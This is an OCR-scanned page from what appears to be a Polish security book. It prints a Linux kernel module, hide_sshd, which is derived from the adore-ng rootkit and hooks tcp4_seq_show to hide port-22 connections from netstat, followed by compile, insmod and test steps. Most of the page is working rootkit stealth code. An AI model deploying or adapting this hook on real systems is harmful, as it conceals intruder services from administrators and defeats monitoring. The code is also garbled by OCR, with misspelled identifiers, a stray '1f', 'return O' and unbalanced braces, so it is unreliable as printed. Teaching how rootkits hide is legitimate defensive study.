/*Podzigkowania dla adore-ng ze Stealth za pomystly uzyte w tym kodzie* /

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/init.h>
#include <net/tcp.h>
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/*z net/ipvd/tcp_ipv4.c*/
#define TMPSZ 150

/ *ukrywamy sshd* /
#define PORT TO HIDE 22

MODULE_LICENSE("GPL");
int (*old tcp4_seq show)(struct seq file*, void *) = NULL;

char *strnstr(const char *haystack, const char *needle, size t n)
{
char *s = strstr(haystack, needle);
if (s == NULL)
return NULL;
if (s-haystack+strlen(needle) <= n)
return s;
else
return NULL;

}

int hacked tcp4 seq show(struct seq_file *seq, void *v)

{ int retval=old tcp4 seq show(seq, Vv);
char port[12];
sprintf(port, "%04X",PORT_TO_HIDE);
1f(strnstr(seq->buf+seq->count-TMPSZ,port, TMPSZ))

seqg->count -= TMPSZ;
return retval;

}
static int _ init myinit(void)
{
struct tcp_seq_ afinfo *my_afinfo = NULL;
struct proc_dir entry *my dir entry = proc_net->subdir;
while (strcmp(my dir_entry->name, “tcp"))
my_dir_entry = my dir entry->next;
if((my_afinfo = (struct tcp_seq afinfo*)my dir entry->data))
old tcp4_seq show = my afinfo->seq_show;
my_afinfo->seq_show = hacked_tcp4 seq_ show;
}
return O;
}
static void myexit(void)
{

struct tcp_seq afinfo *my_afinfo = NULL;
struct proc_dir entry *my dir entry = proc_net->subdir;

while (strcmp(my_dir entry->name, "tcp"))
my_dir_entry = my dir entry->next;
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if((my_afinfo = (struct tcp_seq afinfo*)my dir entry->data))

my_afinfo->seq_show=o0ld tcp4_seq show;

}

module init(myinit);
module exit(myexit);

Kompilacja i test hide_sshd

W kodzie Zrédlowym hide_sshd.c przyjeto zalozenie, ze prébujemy ukry¢ obecno$é demona
sshd uruchomionego w hoscie. Aby ukry¢ inng ustuge, nalezy zmieni¢ warto$¢ PORT_TO_HIDE.
Na potrzeby przykladu zakladamy, ze w hoscie jest uruchomiony sshd. Mozemy to sprawdzié
poleceniem netstat:

[nieroot]$ netstat -na | grep 22
tep 0 0.0.0.0:22 0.0.0.0:* LISTEN

Postuzymy sie plikiem makefile zawierajacym:
obj-m += hide_sshd.o
Do kompilagji uzyjemy nastepujacego polecenia make:
[nieroot]$ make -C /usr/src/linux-‘uname -r° SUBDIRS=$PWD modules

Zaladujemy modul:
[root]# insmod ./hide_sshd.ko

Teraz demon sshd bedzie niewidoczny (ponownie uzyjemy polecenia netstat):
[nieroot]# netstat -na | grep 22

Po zakoriczeniu préb nalezy usunaé¢ modut z jadra:
[root]# rmmod hide_sshd

Ukrywanie pofaczeri przed narzedziem netstat | 183



